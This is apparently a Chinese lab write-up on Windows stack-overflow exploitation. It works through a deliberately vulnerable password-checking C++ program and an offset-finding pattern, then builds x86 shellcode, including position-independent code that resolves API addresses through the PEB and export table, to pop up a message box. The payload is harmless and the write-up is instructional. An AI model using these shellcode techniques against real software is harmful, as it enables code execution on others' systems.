Loading... 在实现的时候请配置好环境。在文章最下面 ``` a0A0a1A1a2A2a3A3a4A4a5A5a6A6a7A7a8A8a9A9b0B0b1B1b2B2b3B3b4B4b5B5b6B6b7B7b8B8b9B9c0C0c1C1c2C2c3C3c4C4c5C5c6C6c7C7c8C8c9C9d0D0d1D1d2D2d3D3d4D4d5D5d6D6d7D7d8D8d9D9e0E0e1E1e2E2e3E3e4E4e5E5e6E6e7E7e8E8e9E9f0F0f1F1f2F2f3F3f4F4f5F5f6F6f7F7f8F8f9F9g0G0g1G1g2G2g3G3g4G4g5G5g6G6g7G7g8G8g9G9h0H0h1H1h2H2h3H3h4H4h5H5h6H6h7H7h8H8h9H9i0I0i1I1i2I2i3I3i4I4i5I5i6I6i7I7i8I8i9I9j0J0j1J1j2J2j3J3j4J4j5J5j6J6j7J7j8J8j9J9k0K0k1K1k2K2k3K3k4K4k5K5k6K6k7K7k8K8k9K9l0L0l1L1l2L2l3L3l4L4l5L5l6L6l7L7l8L8l9L9m0M0m1M1m2M2m3M3m4M4m5M5m6M6m7M7m8M8m9M9n0N0n1N1n2N2n3N3n4N4n5N5n6N6n7N7n8N8n9N9o0O0o1O1o2O2o3O3o4O4o5O5o6O6o7O7o8O8o9O9p0P0p1P1p2P2p3P3p4P4p5P5p6P6p7P7p8P8p9P9q0Q0q1Q1q2Q2q3Q3q4Q4q5Q5q6Q6q7Q7q8Q8q9Q9r0R0r1R1r2R2r3R3r4R4r5R5r6R6r7R7r8R8r9R9s0S0s1S1s2S2s3S3s4S4s5S5s6S6s7S7s8S8s9S9t0T0t1T1t2T2t3T3t4T4t5T5t6T6t7T7t8T8t9T9u0U0u1U1u2U2u3U3u4U4u5U5u6U6u7U7u8U8u9U9v0V0v1V1v2V2v3V3v4V4v5V5v6V6v7V7v8V8v9V9w0W0w1W1w2W2w3W3w4W4w5W5w6W6w7W7w8W8w9W9x0X0x1X1x2X2x3X3x4X4x5X5x6X6x7X7x8X8x9X9y0Y0y1Y1y2Y2y3Y3y4Y4y5Y5y6Y6y7Y7y8Y8y9Y9z0Z0z1Z1z2Z2z3Z3z4Z4z5Z5z6Z6z7Z7z8Z8z9Z9 ``` 1. 实现一个栈溢出程序, 并编写一段能弹出空白弹框的shellcode攻击程序 2. 进阶版:在实验题1的基础上,弹出带有特定字符串的弹框 3. 高级版:在实验题2的基础上,实现能自动获取函数地址的shellcode 环境代码 ```cpp #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <iostream> #include <stdio.h> #include <Windows.h> #define PASSWORD "irohane" int VerifyPassword(char* pszPassword) { char szBuffer[50] = {0}; memcpy(szBuffer, pszPassword, strlen(pszPassword));//栈溢出主要位置,传进来的PszPassword 最大为512字 //最大是50字节 printf(szBuffer); return strcmp(PASSWORD,szBuffer); } int main() { int nFlag = 0; char szPassword[0x1000] = { 0 }; FILE* fp; LoadLibrary(L"user32.dll"); if (NULL == (fp = fopen("password.txt", "r+"))) { MessageBox(NULL, L"打开文件失败", L"error", NULL); exit(0); } fread(szPassword, sizeof(szPassword), 1, fp); nFlag = VerifyPassword(szPassword); if (nFlag)printf("密码错误!\n"); else printf("密码正确"); fclose(fp); system("pause"); return 1; } ``` 从上面代码可以知道在这个位置可以溢出。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3932587268.png) 读取一个过大的文档,在分配过小的栈中会造成溢出。 报错文件-粘贴这个字段,在读取的时候程序会崩溃。 ```cpp a0A0a1A1a2A2a3A3a4A4a5A5a6A6a7A7a8A8a9A9b0B0b1B1b2B2b3B3b4B4b5B5b6B6b7B7b8B8b9B9c0C0c1C1c2C2c3C3c4C4c5C5c6C6c7C7c8C8c9C9d0D0d1D1d2D2d3D3d4D4d5D5d6D6d7D7d8D8d9D9e0E0e1E1e2E2e3E3e4E4e5E5e6E6e7E7e8E8e9E9f0F0f1F1f2F2f3F3f4F4f5F5f6F6f7F7f8F8f9F9g0G0g1G1g2G2g3G3g4G4g5G5g6G6g7G7g8G8g9G9h0H0h1H1h2H2h3H3h4H4h5H5h6H6h7H7h8H8h9H9i0I0i1I1i2I2i3I3i4I4i5I5i6I6i7I7i8I8i9I9j0J0j1J1j2J2j3J3j4J4j5J5j6J6j7J7j8J8j9J9k0K0k1K1k2K2k3K3k4K4k5K5k6K6k7K7k8K8k9K9l0L0l1L1l2L2l3L3l4L4l5L5l6L6l7L7l8L8l9L9m0M0m1M1m2M2m3M3m4M4m5M5m6M6m7M7m8M8m9M9n0N0n1N1n2N2n3N3n4N4n5N5n6N6n7N7n8N8n9N9o0O0o1O1o2O2o3O3o4O4o5O5o6O6o7O7o8O8o9O9p0P0p1P1p2P2p3P3p4P4p5P5p6P6p7P7p8P8p9P9q0Q0q1Q1q2Q2q3Q3q4Q4q5Q5q6Q6q7Q7q8Q8q9Q9r0R0r1R1r2R2r3R3r4R4r5R5r6R6r7R7r8R8r9R9s0S0s1S1s2S2s3S3s4S4s5S5s6S6s7S7s8S8s9S9t0T0t1T1t2T2t3T3t4T4t5T5t6T6t7T7t8T8t9T9u0U0u1U1u2U2u3U3u4U4u5U5u6U6u7U7u8U8u9U9v0V0v1V1v2V2v3V3v4V4v5V5v6V6v7V7v8V8v9V9w0W0w1W1w2W2w3W3w4W4w5W5w6W6w7W7w8W8w9W9x0X0x1X1x2X2x3X3x4X4x5X5x6X6x7X7x8X8x9X9y0Y0y1Y1y2Y2y3Y3y4Y4y5Y5y6Y6y7Y7y8Y8y9Y9z0Z0z1Z1z2Z2z3Z3z4Z4z5Z5z6Z6z7Z7z8Z8z9Z9 ``` # 找出错误地址 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3747447496.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/782313974.png) # 1. 弹出MessageBox 在报错地址填入MessageBox的VA地址,在ret 的时候会读取此位置的VA进行跳转,ret之后还需要在下面填上4个参数 【0】 ![image.png](http://www.irohane.top/usr/uploads/2021/01/936518300.png) 成功弹出Messagebox ![image.png](http://www.irohane.top/usr/uploads/2021/01/1095625194.png) # 2. 自定义Messagbox弹框 编写汇编代码 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1049439186.png) ``` int main() { LoadLibrary("user32.dll"); _asm { //779FEE90 //772F4100 SUB ESP,20 //开辟栈空间20 JMP tag_Shellcode// //[tag_Next-0x1A] MessageBoxA Address 77d507ea 这里的地址根据需要更改 _asm _emit(0xEA)_asm _emit(0x07)_asm _emit(0xD5)_asm _emit(0x77) //ExitProcess Address 7c81cafa _asm _emit(0xfa)_asm _emit(0xca)_asm _emit(0x81)_asm _emit(0x7C) //irohane _asm _emit(0x69)_asm _emit(0x72)_asm _emit(0x6f)_asm _emit(0x68) _asm _emit(0x61)_asm _emit(0x6e)_asm _emit(0x64)_asm _emit(0x00) tag_Shellcode: CALL tag_next //等价push 下一条指令 Jmp到目标地址 tag_Next: POP ESI //获取当前的指令地址 XOR EDX,EDX LEA EDI,[ESI-0xD] MOV EAX,[ESI-0x15] PUSH EDX PUSH EDI PUSH EDI PUSH EDX CALL EAX MOV EAX,[ESI-0x11] PUSH EDX CALL EAX } MessageBox(0,0,0,0); } ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/3328553794.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3927073529.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/294097170.png) # 3. 自动获取函数地址ShellCode 进程中所加载的所有模块信息,都保存在PEB结构。PEB ->Kernel32.dll->GetProcAddress->LoadLibrary [点击查看-PEB结构图](http://www.irohane.top/index.php/archives/201/ "点击查看") 1. FS寄存器找到当前TEB 2. 通过TEB偏移0x30位置找到PEB的地址 3. 通过PEB偏移0x0C位置找到PEB_LDR_DATA 的结构体指针; 4. 通过PEB_LDR_DATA 偏移0x1C找到此结构体的成员InInitializationOrderModuleList,此成员保存着模块链表的头部地址。 5. InInitializationOrderModuleList 按照顺序保存进程加载模块地址,其中第一个始终未Ntdll.dll,第二个视系统的不同可能保存由Kernel32.all 或 KernelBase.dll。这两个都有所需要的GetProcess(). ## 报错代码 ``` int main() { //__asm //{ // mov esi,dword ptr fs:[0x30]//esi=PEB 的地址 // mov esi,[esi+0x0c] // esi = 指向 PEB_LDR_DATA 结构指针 // mov esi,[esi+0x1c] // esi = 模块链表指针Ininit...List // mov esi,[esi] // esi = 访问链表中的第二条目 // mov ebx,[esi+0x08] // ebx = 获取Kernel32.dll 基址 //} __asm { PUSHAD SUB ESP,0x20 //开辟一段栈空间,增加健壮性 jmp tag_Shellcode //[tag_Next-0x4D] "GetProcAddress" 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 _asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F) _asm _emit(0x63)_asm _emit(0x41)_asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65) _asm _emit(0x73)_asm _emit(0x73) //[tag_Next-0x3B/] "LoadLibraryExA" 4C 6F 61 64 4C 69 62 72 61 72 79 45 78 41 _asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)_asm _emit(0x4C)_asm _emit(0x69) _asm _emit(0x62)_asm _emit(0x72)_asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45) _asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00) //[tag_Next-0x30] "user32.dll" 55 73 65 72 33 32 2E 64 6C 6C _asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x33)_asm _emit(0x32) _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00) //[tag_Next-0x25] "MessageBoxA" 4D 65 73 73 61 67 65 42 6F 78 41 _asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x61)_asm _emit(0x67) _asm _emit(0x65)_asm _emit(0x42)_asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00) //[tag_Next-0x19] "ExitProcess" 45 78 69 74 50 72 6F 63 65 73 73 _asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)_asm _emit(0x50)_asm _emit(0x72) _asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00) //[tag_Next-0xD] "irohane" 49 72 6F 68 61 6E 65 _asm _emit(0x49)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x68)_asm _emit(0x61)_asm _emit(0x6E) _asm _emit(0x65)_asm _emit(0x00) tag_Shellcode: //1. GetPc CALL tag_Next tag_Next: pop ebx //ebx = BaseAddr tag_Next的地址 //2. 获取当前模块基址 mov esi,dword ptr fs:[0x30] //esi = PEB的地址 mov esi,[esi+0x0c] //esi = 指向PEB_LDR_DATA结构体 mov esi,[esi+0x1c] //esi = 模块链表 Ininit...List mov esi,[esi] //esi = 访问链表中的第二个条目 mov edx,[esi+0x08] //edx = kernelbase.dll基址 在64位发生了变化 //3. 获取GetProcAddress的函数基址 push edx push ebx push edx call fun_GetProcAddress mov esi,eax pop edx //4. 获取LoadLibraryExA的函数地址 lea ecx,[ebx-0x3F] //LoadLibraryExW push edx push ecx //-lpProcName = loadlibraryExw push edx //hModule = kernel32.dll call eax //GetProcAddress //5. 调用Payload pop edx push ebx push esi push eax push edx call fun_payload //获取关键函数地址,返回值为关键函数地址 fun_GetProcAddress: push ebp mov ebp,esp sub esp,0x0c push edx //1. 获取EAT、ENT与EOT的地址 mov edx,[ebp+0x08] //edx =kernel32.dll 获取第一个参数 mov esi,[edx+0x3c] //esi =Image_DOs_HEADER.e_lfanew lea esi,[edx+esi] //esi = PE 文件头VA mov esi,[esi+0x78] //esi = IMAGE_DIR..EXPORT.virtualAddress 导出表 lea esi,[edx+esi] //导出表 mov edi,[esi+0x1c] //IMAGE_EXP...ORY.AddressOfFunctions lea edi,[edx+edi] //EAT VA mov [ebp-0x04],edi//Local_1 = edi = EAT VA mov edi,[esi+0x20] //edi = IMAGE_EXP...ORY.AddressofNames lea edi,[edx+edi] //edi = ENT VA mov [ebp-0x08],edi //Local_2 = edi = ENT VA mov edi,[esi+0x24] //edi = IMAGE_EXP...ORY.addressOfNameOrdinals lea edi,[edx+edi] //edi = EOT va mov [ebp-0x0c],edi //Local_3 = edi = EOT va //2. 循环比对ENT中的函数名 xor eax,eax jmp tag_FirstCmp tag_CmpFunNameLoop: inc eax tag_FirstCmp: mov esi,[ebp-0x08]//esi = Local_2(ENT) mov esi,[esi+4*eax]//ENT RVA mov edx,[ebp+0x08] //edx= Param_1 (IMAGEBASE) lea esi,[edx+esi] //esi = ENT va mov ebx,[ebp+0x0c] //ebx = Param_2 (BaseAddr) lea edi,[ebx-0x4D] //edi = "GetAddress" mov ecx,0x0e cld repe cmpsb jne tag_CmpFunNameLoop //如果不相等则继续循环比对 //3. 成功后找到对应的序号 mov esi,[ebp-0x0c] xor edi,edi mov di,[esi+eax*2] mov edx,[ebp-0x04] mov esi,[edx+edi*4] mov edx,[ebp+0x08] //返回获取到关键函数地址 lea eax,[edx+esi] //返回GetProcAddress 的地址 pop edx mov esp,ebp pop ebp retn 0x08 //Paly_load 攻击部分 fun_Payload: push ebp mov ebp,esp sub esp,0x08 mov ebx,[ebp+0x14] //1. 获取MessageBoxA lea ecx,[ebx-0x30] //kerner32.dll push 0 push 0 push ecx call [ebp+0x0c] //LoadLibFileName lea ecx,[ebx-0x25] //MessageboxA push ecx push eax call [ebp+0x10] //GetProcAddress mov [ebp-0x04],eax //2. 获取ExitProcess的函数地址 lea ecx,[ebx-0x19] push ecx push [ebp+0x08] call [ebp+0x10] //ExitProcess mov [ebp-0x08],eax //3. 显示irohane lea ecx,[ebx-0xD] //irohane push 0 push ecx push ecx push 0 call [ebp-0x04] push 0 call [ebp-0x08] mov esp,ebp pop ebp retn 0x10 } } ``` 运行测试。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/4019420195.png) ## 取出ShellCode ![image.png](http://www.irohane.top/usr/uploads/2021/01/3088322129.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2413359947.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2137764959.png)成功弹出。 # 环境配置 使用Release版本 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2387120315.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/1557898374.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2770303842.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/710192276.png) # 小知识 ## 为什么 CALL ESP/JMP ESP 插眼: call esp jmp esp ![image.png](http://www.irohane.top/usr/uploads/2021/01/1546727771.png) 最后修改:2021 年 03 月 30 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏